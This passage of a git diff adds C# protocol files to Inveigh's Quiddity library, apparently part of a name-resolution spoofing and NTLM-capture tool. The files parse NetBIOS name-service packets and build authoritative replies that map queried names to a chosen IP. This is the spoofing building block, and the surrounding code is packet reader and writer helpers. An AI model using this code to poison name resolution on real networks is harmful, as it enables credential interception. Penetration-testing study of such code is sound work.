+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv2ClientChallenge
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs
new file mode 100644
index 0000000..0c26bff
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv2Response
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/d43e2224-6fc3-449d-9f37-b90b55a29c80
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs
new file mode 100644
index 0000000..cbb9d2e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs
@@ -0,0 +1,76 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSChecker : DNSChecker
+ {
+ /// <summary>method <c>GetBytes</c> returns reply buffer.</summary>
+ public static byte[] GetBytes(NetBIOSNSHeader header, NetBIOSNSQuestion question, uint ttl, string replyIP)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(replyIP).GetAddressBytes());
+
+ NetBIOSNSHeader responseHeader = new NetBIOSNSHeader
+ {
+ ID = header.ID,
+ R = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = true,
+ RA = false,
+ Z = "00",
+ B = false,
+ RCode = "0000",
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ NetBIOSNSResource resource = new NetBIOSNSResource();
+ resource.Name = question.QName;
+ resource.Type = question.QType;
+ resource.Class = question.QClass;
+ resource.TTL = ttl;
+ resource.RDLength = 6;
+ resource.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), resource.GetBytes());
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs
new file mode 100644
index 0000000..88255a3
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs
@@ -0,0 +1,135 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSHeader : DNSHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc1002
+ public bool R { get; set; } // 1 bit
+ public bool B { get; set; } // 1 bit
+ public NetBIOSNSHeader()
+ {
+
+ }
+
+ public NetBIOSNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.R = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (string.Equals(flags.Substring(8, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(9, 2);
+
+ if (string.Equals(flags.Substring(11, 1), "1"))
+ {
+ this.B = true;
+ }
+
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.R ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.B ? "1" : "0";
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ public byte[] Parse(uint ttl, string ip, byte[] data, out string name, out string type)
+ {
+ this.ReadBytes(data, 0);
+ name = "";
+ type = "";
+
+ if (this.QDCount == 1 && this.ANCount == 0)
+ {
+ NetBIOSNSQuestion question = new NetBIOSNSQuestion();
+ question.ReadBytes(data, 12);
+ NetBIOSNSResource response = new NetBIOSNSResource();
+ return response.GetBytes(question, ttl, ip, this.ID);
+ }
+
+ return null;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs
new file mode 100644
index 0000000..84fd653
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs
@@ -0,0 +1,93 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSPacket
+ {
+ public NetBIOSNSHeader Header { get; set; }
+ public NetBIOSNSQuestion Question { get; set; }
+ public NetBIOSNSResource Resource { get; set; }
+
+ public NetBIOSNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public NetBIOSNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new NetBIOSNSHeader(data);
+ this.Question = new NetBIOSNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(replyIP).GetAddressBytes());
+
+ this.Header = new NetBIOSNSHeader
+ {
+ ID = this.Header.ID,
+ R = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = true,
+ RA = false,
+ Z = "00",
+ B = false,
+ RCode = "0000",
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ this.Resource = new NetBIOSNSResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = 6,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs
new file mode 100644
index 0000000..2285b2f
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs
@@ -0,0 +1,162 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSQuestion : DNSQuestion
+ {
+ public NetBIOSNSQuestion()
+ {
+
+ }
+
+ public NetBIOSNSQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ protected override string ConvertName()
+ {
+ byte[] nameData = new byte[30];
+ Buffer.BlockCopy(this.QName, 1, nameData, 0, 30);
+ string hex = BitConverter.ToString(nameData);
+ string[] nameArray = hex.Split('-');
+ string characters = "";
+
+ foreach (string character in nameArray)
+ {
+ characters += new string(Convert.ToChar(Convert.ToInt16(character, 16)), 1);
+ }
+
+ if (characters.Contains("CA"))
+ {
+ characters = characters.Substring(0, characters.IndexOf("CA"));
+ }
+
+ int i = 0;
+ string nameSubstring = "";
+
+ do
+ {
+ byte characterByte = (byte)Convert.ToChar(characters.Substring(i, 1));
+ characterByte -= 0x41;
+ nameSubstring += Convert.ToString(characterByte, 16);
+ i++;
+ }
+ while (i < characters.Length);
+
+ i = 0;
+ string name = "";
+
+ do
+ {
+ name += (Convert.ToChar(Convert.ToInt16(nameSubstring.Substring(i, 2), 16)));
+ i += 2;
+ }
+ while (i < nameSubstring.Length - 1);
+
+ if (characters.StartsWith("ABAC") && characters.EndsWith("AC"))
+ {
+ name = name.Substring(2);
+ name = name.Substring(0, name.Length - 1);
+ name = string.Concat("<01><02>", name, "<02>");
+ }
+
+ Regex printable = new Regex("[^\x00-\x7F]+");
+
+ if (printable.IsMatch(name))
+ {
+ return "";
+ }
+
+ return name;
+ }
+
+ protected override string GetType()
+ {
+ byte[] typeData = new byte[2];
+ Buffer.BlockCopy(this.QName, 31, typeData, 0, 2);
+ string nbnsQuery = BitConverter.ToString(typeData);
+ string nbnsQueryType = "";
+
+ switch (nbnsQuery)
+ {
+
+ case "41-41":
+ nbnsQueryType = "00";
+ break;
+
+ case "41-42":
+ nbnsQueryType = "01";
+ break;
+
+ case "41-43":
+ nbnsQueryType = "02";
+ break;
+
+ case "41-44":
+ nbnsQueryType = "03";
+ break;
+
+ case "43-41":
+ nbnsQueryType = "20";
+ break;
+
+ case "42-4C":
+ nbnsQueryType = "1B";
+ break;
+
+ case "42-4D":
+ nbnsQueryType = "1C";
+ break;
+
+ case "42-4E":
+ nbnsQueryType = "1D";
+ break;
+
+ case "42-4F":
+ nbnsQueryType = "1E";
+ break;
+
+ }
+
+ return nbnsQueryType;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs
new file mode 100644
index 0000000..89d136a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs
@@ -0,0 +1,68 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSResource : DNSResource
+ {
+
+ public byte[] GetBytes(NetBIOSNSQuestion requestQuestion, uint ttl, string reply, byte[] id)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(reply).GetAddressBytes());
+
+ NetBIOSNSHeader responseHeader = new NetBIOSNSHeader
+ {
+ ID = id,
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ this.Name = requestQuestion.QName;
+ this.Type = requestQuestion.QType;
+ this.Class = requestQuestion.QClass;
+ this.TTL = ttl;
+ this.RDLength = 6;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), this.GetBytes());
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs
new file mode 100644
index 0000000..70e8dbe
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs
@@ -0,0 +1,82 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSSessionService
+ {
+ // https://tools.ietf.org/html/rfc1002
+ public byte Type { get; set; }
+ public byte Flags { get; set; }
+ public ushort Length { get; set; }
+
+ public NetBIOSSessionService()
+ {
+ this.Type = 0x00;
+ this.Flags = 0x00;
+ }
+
+ public NetBIOSSessionService(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public void ReadBytes(byte[] data)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ this.Type = packetReader.ReadByte();
+ this.Flags = packetReader.ReadByte();
+ this.Length = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.Length);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs b/Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs
new file mode 100644
index 0000000..904b994
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs
@@ -0,0 +1,74 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+
+namespace Quiddity
+{
+ class PacketReader : BinaryReader
+ {
+ public PacketReader(Stream stream) : base(stream) { }
+
+ public ushort BigEndianReadUInt16()
+ {
+ byte[] data = base.ReadBytes(2);
+ Array.Reverse(data);
+ return BitConverter.ToUInt16(data, 0);
+ }
+
+ public uint BigEndianReadUInt32()
+ {
+ byte[] data = base.ReadBytes(4);
+ Array.Reverse(data);
+ return BitConverter.ToUInt32(data, 0);
+ }
+
+ public byte[] BigEndianReadBytes(int count)
+ {
+ byte[] data = base.ReadBytes(count);
+ Array.Reverse(data);
+ return data;
+ }
+
+ public string ReadBinary(int count)
+ {
+
+ if (count == 1)
+ {
+ return Convert.ToString(base.ReadByte(), 2).PadLeft(8, '0');
+ }
+
+ return Convert.ToString(BitConverter.ToUInt16(BigEndianReadBytes(count), 0), 2).PadLeft(count * 8, '0');
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs b/Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs
new file mode 100644
index 0000000..d5fa611
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs
@@ -0,0 +1,76 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity
+{
+ class PacketWriter : BinaryWriter // todo optimize
+ {
+ public PacketWriter(Stream stream) : base(stream) { }
+
+ public void BigEndianWrite(ushort number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
